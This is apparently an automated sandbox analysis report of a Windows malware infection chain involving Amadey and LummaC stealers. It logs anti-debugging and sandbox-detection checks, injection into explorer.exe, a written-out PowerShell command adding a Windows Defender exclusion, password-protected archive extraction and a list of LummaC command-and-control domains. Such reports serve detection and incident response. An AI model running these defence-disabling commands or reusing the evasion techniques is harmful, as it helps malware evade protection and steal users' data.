Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05310C49 rdtsc

0_2_05310C49

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052652B mov eax, dword ptr fs:[00000030h]	0_2_0052652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052A302 mov eax, dword ptr fs:[00000030h]	0_2_0052A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004EA302 mov eax, dword ptr fs:[00000030h]	2_2_004EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004E652B mov eax, dword ptr fs:[00000030h]	2_2_004E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004EA302 mov eax, dword ptr fs:[00000030h]	3_2_004EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004E652B mov eax, dword ptr fs:[00000030h]	3_2_004E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004EA302 mov eax, dword ptr fs:[00000030h]	15_2_004EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004E652B mov eax, dword ptr fs:[00000030h]	15_2_004E652B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 343658ec78.exe PID: 1336, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7116 base: 8F2010 value: 00

LummaC encrypted strings found

Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 7116

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe "C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe "C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe "C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe "C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: unknown unknown

Source: skotes.exe, skotes.exe, 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_004CDD91 cpuid

15_2_004CDD91

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0050CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0050CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_004F2517 GetTimeZoneInformation,

15_2_004F2517

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: 212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procdump.exe
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000003.2692980967.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2206842613.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2214730480.0000000004660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
